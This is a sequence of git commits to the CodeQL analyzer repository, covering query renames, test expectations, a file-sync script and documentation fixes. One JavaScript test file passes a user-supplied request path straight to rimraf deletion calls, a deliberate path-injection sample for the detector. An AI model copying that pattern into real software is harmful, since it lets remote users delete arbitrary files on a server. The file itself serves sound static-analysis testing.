b/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/rimraf.js index a6f3c52068a..9595078cf8d 100644 --- a/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/rimraf.js +++ b/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/rimraf.js @@ -5,26 +5,26 @@ const app = express(); app.use(express.json()); app.post('/rmsync', async (req, res) => { - const { path } = req.body; // $ MISSING: Source + const { path } = req.body; // $ Source - rimraf.sync(path); // $ MISSING: Alert - rimraf.rimrafSync(path); // $ MISSING: Alert - rimraf.native(path); // $ MISSING: Alert - await rimraf.native(path); // $ MISSING: Alert - rimraf.native.sync(path); // $ MISSING: Alert - rimraf.nativeSync(path); // $ MISSING: Alert - await rimraf.manual(path); // $ MISSING: Alert - rimraf.manual(path); // $ MISSING: Alert - rimraf.manual.sync(path); // $ MISSING: Alert - rimraf.manualSync(path); // $ MISSING: Alert - await rimraf.windows(path); // $ MISSING: Alert - rimraf.windows(path); // $ MISSING: Alert - rimraf.windows.sync(path); // $ MISSING: Alert - rimraf.windowsSync(path); // $ MISSING: Alert - rimraf.moveRemove(path); // $ MISSING: Alert - rimraf.moveRemove.sync(path); // $ MISSING: Alert - rimraf.moveRemoveSync(path); // $ MISSING: Alert - rimraf.posixSync(path); // $ MISSING: Alert - rimraf.posix(path); // $ MISSING: Alert - rimraf.posix.sync(path); // $ MISSING: Alert + rimraf.sync(path); // $ Alert + rimraf.rimrafSync(path); // $ Alert + rimraf.native(path); // $ Alert + await rimraf.native(path); // $ Alert + rimraf.native.sync(path); // $ Alert + rimraf.nativeSync(path); // $ Alert + await rimraf.manual(path); // $ Alert + rimraf.manual(path); // $ Alert + rimraf.manual.sync(path); // $ Alert + rimraf.manualSync(path); // $ Alert + await rimraf.windows(path); // $ Alert + rimraf.windows(path); // $ Alert + rimraf.windows.sync(path); // $ Alert + rimraf.windowsSync(path); // $ Alert + rimraf.moveRemove(path); // $ Alert + rimraf.moveRemove.sync(path); // $ Alert + rimraf.moveRemoveSync(path); // $ Alert + rimraf.posixSync(path); // $ Alert + rimraf.posix(path); // $ Alert + rimraf.posix.sync(path); // $ Alert }); From 390d9ffe668f3218d939788ae7ebdeb6e61c6006 Mon Sep 17 00:00:00 2001 From: Napalys Date: Wed, 2 Apr 2025 12:50:53 +0200 Subject: [PATCH 243/282] Added change note --- javascript/ql/lib/change-notes/2025-04-02-rimraf.md | 4 ++++ 1 file changed, 4 insertions(+) create mode 100644 javascript/ql/lib/change-notes/2025-04-02-rimraf.md diff --git a/javascript/ql/lib/change-notes/2025-04-02-rimraf.md b/javascript/ql/lib/change-notes/2025-04-02-rimraf.md new file mode 100644 index 00000000000..3d0521643d5 --- /dev/null +++ b/javascript/ql/lib/change-notes/2025-04-02-rimraf.md @@ -0,0 +1,4 @@ +--- +category: minorAnalysis +--- +* Added support for additional `rimraf` methods as sinks in path-injection queries. From 9fc0ee185b02fd13b0ebbeca13a85ddfd23d2257 Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Wed, 2 Apr 2025 12:03:20 +0100 Subject: [PATCH 244/282] Rust: Change the query ID to rust/summary/summary-statistics-reduced. --- rust/ql/src/queries/summary/SummaryStatsLess.ql | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/rust/ql/src/queries/summary/SummaryStatsLess.ql b/rust/ql/src/queries/summary/SummaryStatsLess.ql index ddcc76d16bc..75358064bba 100644 --- a/rust/ql/src/queries/summary/SummaryStatsLess.ql +++ b/rust/ql/src/queries/summary/SummaryStatsLess.ql @@ -1,9 +1,9 @@ /** - * @name Summary Statistics Less + * @name Summary Statistics Reduced * @description A table of summary statistics about a database, with data that * has been found to be noisy on tests removed. * @kind metric - * @id rust/summary/summary-statistics-less + * @id rust/summary/summary-statistics-reduced * @tags summary */ From 02245af3ca64272acb2ddf8b7588922a580705db Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Wed, 2 Apr 2025 12:11:55 +0100 Subject: [PATCH 245/282] Rust: Rename the query file. --- rust/ql/integration-tests/hello-project/summary.qlref | 2 +- rust/ql/integration-tests/hello-workspace/summary.qlref | 2 +- .../summary/{SummaryStatsLess.ql => SummaryStatsReduced.ql} | 0 rust/ql/test/query-tests/diagnostics/SummaryStatsLess.qlref | 2 +- 4 files changed, 3 insertions(+), 3 deletions(-) rename rust/ql/src/queries/summary/{SummaryStatsLess.ql => SummaryStatsReduced.ql} (100%) diff --git a/rust/ql/integration-tests/hello-project/summary.qlref b/rust/ql/integration-tests/hello-project/summary.qlref index 3d1b7ac7f1b..926fc790391 100644 --- a/rust/ql/integration-tests/hello-project/summary.qlref +++ b/rust/ql/integration-tests/hello-project/summary.qlref @@ -1 +1 @@ -queries/summary/SummaryStatsLess.ql +queries/summary/SummaryStatsReduced.ql diff --git a/rust/ql/integration-tests/hello-workspace/summary.qlref b/rust/ql/integration-tests/hello-workspace/summary.qlref index 3d1b7ac7f1b..926fc790391 100644 --- a/rust/ql/integration-tests/hello-workspace/summary.qlref +++ b/rust/ql/integration-tests/hello-workspace/summary.qlref @@ -1 +1 @@ -queries/summary/SummaryStatsLess.ql +queries/summary/SummaryStatsReduced.ql diff --git a/rust/ql/src/queries/summary/SummaryStatsLess.ql b/rust/ql/src/queries/summary/SummaryStatsReduced.ql similarity index 100% rename from rust/ql/src/queries/summary/SummaryStatsLess.ql rename to rust/ql/src/queries/summary/SummaryStatsReduced.ql diff --git a/rust/ql/test/query-tests/diagnostics/SummaryStatsLess.qlref b/rust/ql/test/query-tests/diagnostics/SummaryStatsLess.qlref index 3d1b7ac7f1b..926fc790391 100644 --- a/rust/ql/test/query-tests/diagnostics/SummaryStatsLess.qlref +++ b/rust/ql/test/query-tests/diagnostics/SummaryStatsLess.qlref @@ -1 +1 @@ -queries/summary/SummaryStatsLess.ql +queries/summary/SummaryStatsReduced.ql From fbde235253853fe0387b7947e9a9689a0b8ec7fc Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Wed, 2 Apr 2025 12:16:10 +0100 Subject: [PATCH 246/282] Rust: Rename the test as well. --- .../{SummaryStatsLess.expected => SummaryStatsReeduced.expected} | 0 .../{SummaryStatsLess.qlref => SummaryStatsReeduced.qlref} | 0 2 files changed, 0 insertions(+), 0 deletions(-) rename rust/ql/test/query-tests/diagnostics/{SummaryStatsLess.expected => SummaryStatsReeduced.expected} (100%) rename rust/ql/test/query-tests/diagnostics/{SummaryStatsLess.qlref => SummaryStatsReeduced.qlref} (100%) diff --git a/rust/ql/test/query-tests/diagnostics/SummaryStatsLess.expected b/rust/ql/test/query-tests/diagnostics/SummaryStatsReeduced.expected similarity index 100% rename from rust/ql/test/query-tests/diagnostics/SummaryStatsLess.expected rename to rust/ql/test/query-tests/diagnostics/SummaryStatsReeduced.expected diff --git a/rust/ql/test/query-tests/diagnostics/SummaryStatsLess.qlref b/rust/ql/test/query-tests/diagnostics/SummaryStatsReeduced.qlref similarity index 100% rename from rust/ql/test/query-tests/diagnostics/SummaryStatsLess.qlref rename to rust/ql/test/query-tests/diagnostics/SummaryStatsReeduced.qlref From 6820cbabc8ac9eefda6ab6bc7a179990cf747aba Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Wed, 2 Apr 2025 14:01:00 +0200 Subject: [PATCH 247/282] C#: Accept file sync mismatch for C# testfiles if they are identical modulo comments. --- config/sync-files.py | 35 ++++++++++++++++++++++++++++++----- 1 file changed, 30 insertions(+), 5 deletions(-) diff --git a/config/sync-files.py b/config/sync-files.py index 9645d42f1e5..66d4d017ed8 100644 --- a/config/sync-files.py +++ b/config/sync-files.py @@ -58,7 +58,19 @@ def file_checksum(filename): with open(filename, 'rb') as file_handle: return hashlib.sha1(file_handle.read()).hexdigest() -def check_group(group_name, files, master_file_picker, emit_error): +def accept_prefix(line1, line2): + suffix = line2.removeprefix(line1) + return not suffix or suffix.lstrip().startswith("//") + +def equivalent_lines(lines1, lines2): + if len(lines1) != len(lines2): + return False + for line1, line2 in zip(lines1, lines2): + if not accept_prefix(line1, line2) and not accept_prefix(line2, line1): + return False + return True + +def check_group(group_name, files, master_file_picker, emit_error, accept_prefix): extant_files = [f for f in files if path.isfile(f)] if len(extant_files) == 0: emit_error(__file__, 0, "No files found from group '" + group_name + "'.") @@ -70,11 +82,23 @@ def check_group(group_name, files, master_file_picker, emit_error): return checksums = {file_checksum(f) for f in extant_files} - - if len(checksums) == 1 and len(extant_files) == len(files): + same_lengths = len(extant_files) == len(files) + if len(checksums) == 1 and same_lengths: # All files are present and identical. return + # In this case we also consider files indentical, if + # (1) The group only containts two files. + # (2) The lines of one file are the same as the lines of another file + # modulo comments. + if accept_prefix and same_lengths and len(extant_files) == 2: + with open(extant_files[0], 'r') as f1: + file1_lines = [l.strip('\n\r') for l in f1.readlines()] + with open(extant_files[1], 'r') as f2: + file2_lines = [l.strip('\n\r') for l in f2.readlines()] + if equivalent_lines(file1_lines, file2_lines): + return + master_file = master_file_picker(extant_files) if master_file is None: emit_error(__file__, 0, @@ -139,9 +163,10 @@ def sync_identical_files(emit_error): raise Exception("Bad command line or file not found") chdir_repo_root() load_if_exists('.', 'config/identical-files.json') - file_groups.update(csharp_test_files()) + for group_name, files in csharp_test_files().items(): + check_group(group_name, files, master_file_picker, emit_error, True) for group_name, files in file_groups.items(): - check_group(group_name, files, master_file_picker, emit_error) + check_group(group_name, files, master_file_picker, emit_error, False) def main(): sync_identical_files(emit_local_error) From 30a9cd7c8a7cda2649996e680c525057adeba97e Mon Sep 17 00:00:00 2001 From: Asger F Date: Wed, 2 Apr 2025 14:09:52 +0200 Subject: [PATCH 248/282] JS: Include document as a DOM value --- .../ql/test/library-tests/DOM/Customizations.expected | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/javascript/ql/test/library-tests/DOM/Customizations.expected b/javascript/ql/test/library-tests/DOM/Customizations.expected index 3fc5570c743..df15c409be2 100644 --- a/javascript/ql/test/library-tests/DOM/Customizations.expected +++ b/javascript/ql/test/library-tests/DOM/Customizations.expected @@ -7,20 +7,26 @@ test_documentRef test_locationRef | customization.js:3:3:3:14 | doc.location | test_domValueRef +| customization.js:2:13:2:31 | customGetDocument() | +| customization.js:3:3:3:14 | doc.location | | customization.js:4:3:4:20 | doc.getElementById | | customization.js:4:3:4:28 | doc.get ... 'test') | | event-handler-receiver.html:4:20:4:19 | this | +| event-handler-receiver.js:1:1:1:8 | document | | event-handler-receiver.js:1:1:1:23 | documen ... entById | | event-handler-receiver.js:1:1:1:32 | documen ... my-id') | | event-handler-receiver.js:1:44:1:43 | this | | event-handler-receiver.js:2:3:2:17 | this.parentNode | +| event-handler-receiver.js:5:1:5:8 | document | | event-handler-receiver.js:5:1:5:23 | documen ... entById | | event-handler-receiver.js:5:1:5:32 | documen ... my-id') | | event-handler-receiver.js:5:60:5:59 | this | | event-handler-receiver.js:6:3:6:17 | this.parentNode | +| nameditems.js:1:1:1:8 | document | | nameditems.js:1:1:1:23 | documen ... entById | | nameditems.js:1:1:1:30 | documen ... ('foo') | | nameditems.js:1:1:2:19 | documen ... em('x') | +| querySelectorAll.js:2:5:2:12 | document | | querySelectorAll.js:2:5:2:29 | documen ... ctorAll | | querySelectorAll.js:2:5:2:36 | documen ... ('foo') | | querySelectorAll.js:2:46:2:48 | elm | From 2c40359143e07e32c59fac49981b911429428671 Mon Sep 17 00:00:00 2001 From: Asger F Date: Wed, 2 Apr 2025 14:11:54 +0200 Subject: [PATCH 249/282] JS: Change note --- .../2025-04-02-name-resolution-independent-fixes.md | 4 ++++ 1 file changed, 4 insertions(+) create mode 100644 javascript/ql/src/change-notes/2025-04-02-name-resolution-independent-fixes.md diff --git a/javascript/ql/src/change-notes/2025-04-02-name-resolution-independent-fixes.md b/javascript/ql/src/change-notes/2025-04-02-name-resolution-independent-fixes.md new file mode 100644 index 00000000000..4773744a984 --- /dev/null +++ b/javascript/ql/src/change-notes/2025-04-02-name-resolution-independent-fixes.md @@ -0,0 +1,4 @@ +--- +category: minorAnalysis +--- +* Slightly improved detection of DOM element references, leading to XSS results being detected in more cases. From 10564fac4d86207c52946125ee3c700c97394194 Mon Sep 17 00:00:00 2001 From: Nicolas Will Date: Wed, 2 Apr 2025 14:20:24 +0200 Subject: [PATCH 250/282] Add @ps-codeql to CODEOWNERS for experimental cryptography MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit This pull request adds @github/ps-codeql as a code owner of `**/experimental/quantum/` to support the development of post-quantum cryptography-related libraries and queries. We’ll be committing stable but experimental work to these directories as it becomes ready for public use, with a near-term goal of moving it out of experimental. To get started, we’d also need write access to `github/codeql`. cc @adityasharad @lcartey --- CODEOWNERS | 3 +++ 1 file changed, 3 insertions(+) diff --git a/CODEOWNERS b/CODEOWNERS index e7fb27e9f86..90c3cb9af60 100644 --- a/CODEOWNERS +++ b/CODEOWNERS @@ -14,6 +14,9 @@ /java/ql/test-kotlin1/ @github/codeql-kotlin /java/ql/test-kotlin2/ @github/codeql-kotlin +# Experimental CodeQL cryptography +**/experimental/quantum/ @github/ps-codeql + # CodeQL tools and associated docs /docs/codeql/codeql-cli/ @github/codeql-cli-reviewers /docs/codeql/codeql-for-visual-studio-code/ @github/codeql-vscode-reviewers From 93d0f364d6c2441e867279c5c36566756e116e0a Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Wed, 2 Apr 2025 15:00:05 +0200 Subject: [PATCH 251/282] C#: Add ConstantConditionBad file. --- .../Control-Flow/ConstantCondition/ConstantConditionBad.cs | 7 +++++++ .../Control-Flow/ConstantCondition/ConstantIfCondition.cs | 5 ----- 2 files changed, 7 insertions(+), 5 deletions(-) create mode 100644 csharp/ql/test/query-tests/Bad Practices/Control-Flow/ConstantCondition/ConstantConditionBad.cs diff --git a/csharp/ql/test/query-tests/Bad Practices/Control-Flow/ConstantCondition/ConstantConditionBad.cs b/csharp/ql/test/query-tests/Bad Practices/Control-Flow/ConstantCondition/ConstantConditionBad.cs new file mode 100644 index 00000000000..66af12c057a --- /dev/null +++ b/csharp/ql/test/query-tests/Bad Practices/Control-Flow/ConstantCondition/ConstantConditionBad.cs @@ -0,0 +1,7 @@ +class Bad +{ + public int Max(int a, int b) + { + return a > a ? a : b; // $ Alert + } +} diff --git a/csharp/ql/test/query-tests/Bad Practices/Control-Flow/ConstantCondition/ConstantIfCondition.cs b/csharp/ql/test/query-tests/Bad Practices/Control-Flow/ConstantCondition/ConstantIfCondition.cs index 146dbcf5661..04c91cc222d 100644 --- a/csharp/ql/test/query-tests/Bad Practices/Control-Flow/ConstantCondition/ConstantIfCondition.cs +++ b/csharp/ql/test/query-tests/Bad Practices/Control-Flow/ConstantCondition/ConstantIfCondition.cs @@ -25,11 +25,6 @@ namespace ConstantIfCondition } } - public int Max(int a, int b) - { - return a > a ? a : b; // $ Alert - } - public int Bar() { return ZERO; From 14a84c3209702151076e8267bff66c8eb3a242ce Mon Sep 17 00:00:00 2001 From: idrissrio Date: Wed, 2 Apr 2025 15:20:06 +0200 Subject: [PATCH 252/282] C++: update expected test results after extractor changes --- cpp/ql/test/library-tests/specifiers2/specifiers2.expected | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/cpp/ql/test/library-tests/specifiers2/specifiers2.expected b/cpp/ql/test/library-tests/specifiers2/specifiers2.expected index c0259eb0901..d2af0d309e8 100644 --- a/cpp/ql/test/library-tests/specifiers2/specifiers2.expected +++ b/cpp/ql/test/library-tests/specifiers2/specifiers2.expected @@ -27,7 +27,7 @@ | Function | cpp20.cpp:62:8:62:8 | operator= | operator= | extern, inline, is_constexpr, public | | Function | cpp20.cpp:62:8:62:8 | operator= | operator= | extern, inline, is_constexpr, public | | Function | cpp20.cpp:64:5:64:21 | TestExplicitBool4 | TestExplicitBool4 | explicit, extern, public | -| Function | file://:0:0:0:0 | TestExplicitBool | TestExplicitBool | explicit, has_trailing_return_type | +| Function | file://:0:0:0:0 | TestExplicitBool | TestExplicitBool | explicit | | Function | file://:0:0:0:0 | operator delete | operator delete | extern | | Function | file://:0:0:0:0 | operator new | operator new | extern | | Function | specifiers2.c:11:6:11:6 | f | f | c_linkage, extern | @@ -67,6 +67,8 @@ | Function | specifiers2pp.cpp:63:19:63:34 | member_constexpr | member_constexpr | const, declared_constexpr, inline, is_constexpr, private | | Function | specifiers2pp.cpp:64:19:64:40 | member_const_constexpr | member_const_constexpr | const, declared_constexpr, inline, is_constexpr, private | | FunctionDeclarationEntry | cpp20.cpp:11:14:11:24 | declaration of TestExplict | TestExplict | explicit | +| FunctionDeclarationEntry | cpp20.cpp:23:1:23:1 | declaration of TestExplicitBool | TestExplicitBool | has_trailing_return_type | +| FunctionDeclarationEntry | cpp20.cpp:24:1:24:16 | definition of TestExplicitBool | TestExplicitBool | has_trailing_return_type | | FunctionDeclarationEntry | cpp20.cpp:40:23:40:23 | definition of TestExplicitBool2 | TestExplicitBool2 | explicit | | FunctionDeclarationEntry | cpp20.cpp:51:5:51:5 | definition of TestExplicitBool3 | TestExplicitBool3 | explicit | | FunctionDeclarationEntry | cpp20.cpp:51:5:51:21 | declaration of TestExplicitBool3 | TestExplicitBool3 | explicit | From 2193bece907d31ec6c052b2ffd52efa064ada77c Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Wed, 2 Apr 2025 15:30:48 +0200 Subject: [PATCH 253/282] C#: Update test expected output. --- .../Control-Flow/ConstantCondition/ConstantCondition.expected | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/csharp/ql/test/query-tests/Bad Practices/Control-Flow/ConstantCondition/ConstantCondition.expected b/csharp/ql/test/query-tests/Bad Practices/Control-Flow/ConstantCondition/ConstantCondition.expected index 9e0e69edb90..e154d10b9d3 100644 --- a/csharp/ql/test/query-tests/Bad Practices/Control-Flow/ConstantCondition/ConstantCondition.expected +++ b/csharp/ql/test/query-tests/Bad Practices/Control-Flow/ConstantCondition/ConstantCondition.expected @@ -11,6 +11,7 @@ | ConstantCondition.cs:114:13:114:14 | access to parameter b1 | Condition always evaluates to 'true'. | | ConstantCondition.cs:114:19:114:20 | access to parameter b2 | Condition always evaluates to 'true'. | | ConstantCondition.cs:141:22:141:22 | _ | Pattern always matches. | +| ConstantConditionBad.cs:5:16:5:20 | ... > ... | Condition always evaluates to 'false'. | | ConstantConditionalExpressionCondition.cs:11:22:11:34 | ... == ... | Condition always evaluates to 'true'. | | ConstantConditionalExpressionCondition.cs:12:21:12:25 | false | Condition always evaluates to 'false'. | | ConstantConditionalExpressionCondition.cs:13:21:13:30 | ... == ... | Condition always evaluates to 'true'. | @@ -19,7 +20,6 @@ | ConstantIfCondition.cs:11:17:11:29 | ... == ... | Condition always evaluates to 'true'. | | ConstantIfCondition.cs:14:17:14:21 | false | Condition always evaluates to 'false'. | | ConstantIfCondition.cs:17:17:17:26 | ... == ... | Condition always evaluates to 'true'. | -| ConstantIfCondition.cs:30:20:30:24 | ... > ... | Condition always evaluates to 'false'. | | ConstantIsNullOrEmpty.cs:10:21:10:54 | call to method IsNullOrEmpty | Condition always evaluates to 'false'. | | ConstantIsNullOrEmpty.cs:46:21:46:46 | call to method IsNullOrEmpty | Condition always evaluates to 'true'. | | ConstantIsNullOrEmpty.cs:50:21:50:44 | call to method IsNullOrEmpty | Condition always evaluates to 'true'. | From 001735bfb8bc2d28541ce9286e4d6083b9fda219 Mon Sep 17 00:00:00 2001 From: Simon Friis Vindum Date: Wed, 2 Apr 2025 15:01:05 +0200 Subject: [PATCH 254/282] Rust: Take internal IDs of a smaller class --- rust/ql/lib/codeql/rust/internal/TypeInference.qll | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/rust/ql/lib/codeql/rust/internal/TypeInference.qll b/rust/ql/lib/codeql/rust/internal/TypeInference.qll index bef741d2470..ed6370f1638 100644 --- a/rust/ql/lib/codeql/rust/internal/TypeInference.qll +++ b/rust/ql/lib/codeql/rust/internal/TypeInference.qll @@ -69,9 +69,12 @@ private module Input1 implements InputSig1 { apos.asMethodTypeArgumentPosition() = ppos.asTypeParam().getPosition() } - private predicate id(Raw::AstNode x, Raw::AstNode y) { x = y } + /** A raw AST node that might correspond to a type parameter. */ + private class RawTypeParameter = @type_param or @trait; - private predicate idOfRaw(Raw::AstNode x, int y) = equivalenceRelation(id/2)(x, y) + private predicate id(RawTypeParameter x, RawTypeParameter y) { x = y } + + private predicate idOfRaw(RawTypeParameter x, int y) = equivalenceRelation(id/2)(x, y) private int idOf(AstNode node) { idOfRaw(Synth::convertAstNodeToRaw(node), result) } From 16142a287a8cf9a49a10ac9aae5058871e4a234f Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Wed, 2 Apr 2025 15:43:34 +0200 Subject: [PATCH 255/282] C#: Add NoDisposeCallOnLocalIDisposableBad file and update test expected output. --- .../NoDisposeCallOnLocalIDisposable.cs | 9 --------- .../NoDisposeCallOnLocalIDisposable.expected | 2 +- .../NoDisposeCallOnLocalIDisposableBad.cs | 11 +++++++++++ 3 files changed, 12 insertions(+), 10 deletions(-) create mode 100644 csharp/ql/test/query-tests/API Abuse/NoDisposeCallOnLocalIDisposable/NoDisposeCallOnLocalIDisposableBad.cs diff --git a/csharp/ql/test/query-tests/API Abuse/NoDisposeCallOnLocalIDisposable/NoDisposeCallOnLocalIDisposable.cs b/csharp/ql/test/query-tests/API Abuse/NoDisposeCallOnLocalIDisposable/NoDisposeCallOnLocalIDisposable.cs index aa11be14f67..a2fd6cd50f1 100644 --- a/csharp/ql/test/query-tests/API Abuse/NoDisposeCallOnLocalIDisposable/NoDisposeCallOnLocalIDisposable.cs +++ b/csharp/ql/test/query-tests/API Abuse/NoDisposeCallOnLocalIDisposable/NoDisposeCallOnLocalIDisposable.cs @@ -114,15 +114,6 @@ class Test public void Dispose() { } } -class Bad -{ - long GetLength(string file) - { - var stream = new FileStream(file, FileMode.Open); // $ Alert - return stream.Length; - } -} - static class Extensions { public static FileStream Fluent(this FileStream fs) => fs; diff --git a/csharp/ql/test/query-tests/API Abuse/NoDisposeCallOnLocalIDisposable/NoDisposeCallOnLocalIDisposable.expected b/csharp/ql/test/query-tests/API Abuse/NoDisposeCallOnLocalIDisposable/NoDisposeCallOnLocalIDisposable.expected index f08cf6837c5..5d82fb99a8d 100644 --- a/csharp/ql/test/query-tests/API Abuse/NoDisposeCallOnLocalIDisposable/NoDisposeCallOnLocalIDisposable.expected +++ b/csharp/ql/test/query-tests/API Abuse/NoDisposeCallOnLocalIDisposable/NoDisposeCallOnLocalIDisposable.expected @@ -4,4 +4,4 @@ | NoDisposeCallOnLocalIDisposable.cs:76:25:76:71 | call to method Create | Disposable 'XmlReader' is created but not disposed. | | NoDisposeCallOnLocalIDisposable.cs:76:42:76:64 | object creation of type StringReader | Disposable 'StringReader' is created but not disposed. | | NoDisposeCallOnLocalIDisposable.cs:104:23:104:38 | object creation of type HttpClient | Disposable 'HttpClient' is created but not disposed. | -| NoDisposeCallOnLocalIDisposable.cs:121:22:121:56 | object creation of type FileStream | Disposable 'FileStream' is created but not disposed. | +| NoDisposeCallOnLocalIDisposableBad.cs:8:22:8:56 | object creation of type FileStream | Disposable 'FileStream' is created but not disposed. | diff --git a/csharp/ql/test/query-tests/API Abuse/NoDisposeCallOnLocalIDisposable/NoDisposeCallOnLocalIDisposableBad.cs b/csharp/ql/test/query-tests/API Abuse/NoDisposeCallOnLocalIDisposable/NoDisposeCallOnLocalIDisposableBad.cs new file mode 100644 index 00000000000..e8f00535890 --- /dev/null +++ b/csharp/ql/test/query-tests/API Abuse/NoDisposeCallOnLocalIDisposable/NoDisposeCallOnLocalIDisposableBad.cs @@ -0,0 +1,11 @@ +using System; +using System.IO; + +class Bad +{ + long GetLength(string file) + { + var stream = new FileStream(file, FileMode.Open); // $ Alert + return stream.Length; + } +} From d8ef4fc25d067d7ec159b1ebf3adc6048db78fb8 Mon Sep 17 00:00:00 2001 From: Jon Janego Date: Wed, 2 Apr 2025 10:22:27 -0500 Subject: [PATCH 256/282] Update javascript/ql/src/Expressions/ExprHasNoEffect.ql Co-authored-by: Napalys Klicius --- javascript/ql/src/Expressions/ExprHasNoEffect.ql | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/javascript/ql/src/Expressions/ExprHasNoEffect.ql b/javascript/ql/src/Expressions/ExprHasNoEffect.ql index 197564244af..9cdb22b8ecf 100644 --- a/javascript/ql/src/Expressions/ExprHasNoEffect.ql +++ b/javascript/ql/src/Expressions/ExprHasNoEffect.ql @@ -6,7 +6,7 @@ * @problem.severity warning * @id js/useless-expression * @tags quality -* maintainability + * maintainability * correctness * external/cwe/cwe-480 * external/cwe/cwe-561 From 4207322719f3ba31948636b257a31aade1c1fa50 Mon Sep 17 00:00:00 2001 From: Aditya Sharad Date: Wed, 2 Apr 2025 11:39:01 -0700 Subject: [PATCH 257/282] Docs: Make Actions underlines the right length Fixes warnings in Sphinx build. --- .../codeql-language-guides/codeql-library-for-actions.rst | 2 +- .../customizing-library-models-for-actions.rst | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/docs/codeql/codeql-language-guides/codeql-library-for-actions.rst b/docs/codeql/codeql-language-guides/codeql-library-for-actions.rst index 52baa1ed51e..2923b3f7415 100644 --- a/docs/codeql/codeql-language-guides/codeql-library-for-actions.rst +++ b/docs/codeql/codeql-language-guides/codeql-library-for-actions.rst @@ -1,7 +1,7 @@ .. _codeql-library-for-actions: CodeQL library for GitHub Actions -======================= +================================= When you're analyzing GitHub Actions workflows and action metadata files, you can make use of the large collection of classes in the CodeQL library for GitHub Actions. diff --git a/docs/codeql/codeql-language-guides/customizing-library-models-for-actions.rst b/docs/codeql/codeql-language-guides/customizing-library-models-for-actions.rst index 40bee7079b5..3d1a0b21827 100644 --- a/docs/codeql/codeql-language-guides/customizing-library-models-for-actions.rst +++ b/docs/codeql/codeql-language-guides/customizing-library-models-for-actions.rst @@ -1,7 +1,7 @@ .. _customizing-library-models-for-actions: Customizing Library Models for GitHub Actions -========================================= +============================================= .. include:: ../reusables/beta-note-customizing-library-models.rst From 67dd301a37f3509a09fa804880b953dfc00dbfe3 Mon Sep 17 00:00:00 2001 From: Aditya Sharad Date: Wed, 2 Apr 2025 15:25:27 -0700 Subject: [PATCH 258/282] Docs: Add language guide structure for Actions --- .../codeql-for-actions.rst | 17 +++++++++++++++++ docs/codeql/codeql-language-guides/index.rst | 1 + 2 files changed, 18 insertions(+) create mode 100644 docs/codeql/codeql-language-guides/codeql-for-actions.rst diff --git a/docs/codeql/codeql-language-guides/codeql-for-actions.rst b/docs/codeql/codeql-language-guides/codeql-for-actions.rst new file mode 100644 index 00000000000..a05ad84ccb1 --- /dev/null +++ b/docs/codeql/codeql-language-guides/codeql-for-actions.rst @@ -0,0 +1,17 @@ + +.. _codeql-for-actions: + +CodeQL for GitHub Actions +=============== + +Experiment and learn how to write effective and efficient queries for CodeQL databases generated from GitHub Actions code. + +.. toctree:: + :hidden: + + codeql-library-for-actions + customizing-library-models-for-actions + +- :doc:`CodeQL library for GitHub Actions `: When you're analyzing a Ruby program, you can make use of the large collection of classes in the CodeQL library for GitHub Actions. + +- :doc:`Customizing library models for GitHub Actions `: You can model frameworks and libraries that your codebase depends on using data extensions and publish them as CodeQL model packs. diff --git a/docs/codeql/codeql-language-guides/index.rst b/docs/codeql/codeql-language-guides/index.rst index 2b4fabc01a7..f59d8163db2 100644 --- a/docs/codeql/codeql-language-guides/index.rst +++ b/docs/codeql/codeql-language-guides/index.rst @@ -7,6 +7,7 @@ Experiment and learn how to write effective and efficient queries for CodeQL dat .. toctree:: + codeql-for-actions codeql-for-cpp codeql-for-csharp codeql-for-go From 8f6dc1cdfc0624ee2fbff10b72a106c03eac287a Mon Sep 17 00:00:00 2001 From: Aditya Sharad Date: Wed, 2 Apr 2025 15:56:42 -0700 Subject: [PATCH 259/282] Docs: Fix more short underlines --- docs/codeql/codeql-language-guides/codeql-for-actions.rst | 2 +- .../codeql-language-guides/codeql-library-for-actions.rst | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/docs/codeql/codeql-language-guides/codeql-for-actions.rst b/docs/codeql/codeql-language-guides/codeql-for-actions.rst index a05ad84ccb1..d4597811a47 100644 --- a/docs/codeql/codeql-language-guides/codeql-for-actions.rst +++ b/docs/codeql/codeql-language-guides/codeql-for-actions.rst @@ -2,7 +2,7 @@ .. _codeql-for-actions: CodeQL for GitHub Actions -=============== +========================= Experiment and learn how to write effective and efficient queries for CodeQL databases generated from GitHub Actions code. diff --git a/docs/codeql/codeql-language-guides/codeql-library-for-actions.rst b/docs/codeql/codeql-language-guides/codeql-library-for-actions.rst index 2923b3f7415..5f4b03fa5e3 100644 --- a/docs/codeql/codeql-language-guides/codeql-library-for-actions.rst +++ b/docs/codeql/codeql-language-guides/codeql-library-for-actions.rst @@ -101,7 +101,7 @@ to all AST classes: Workflows -~~~~~~~ +~~~~~~~~~ A workflow is a configurable automated process made up of one or more jobs, defined in a workflow YAML file in the `.github/workflows` directory of a GitHub repository. From 4d6afe7d29618013925d43f60f3484f1531e1b3c Mon Sep 17 00:00:00 2001 From: Aditya Sharad Date: Wed, 2 Apr 2025 16:00:55 -0700 Subject: [PATCH 260/282] Docs: Address comments on Actions docs --- .../codeql-language-guides/codeql-library-for-actions.rst | 4 ++-- docs/codeql/reusables/supported-versions-compilers.rst | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/docs/codeql/codeql-language-guides/codeql-library-for-actions.rst b/docs/codeql/codeql-language-guides/codeql-library-for-actions.rst index 5f4b03fa5e3..507438583c6 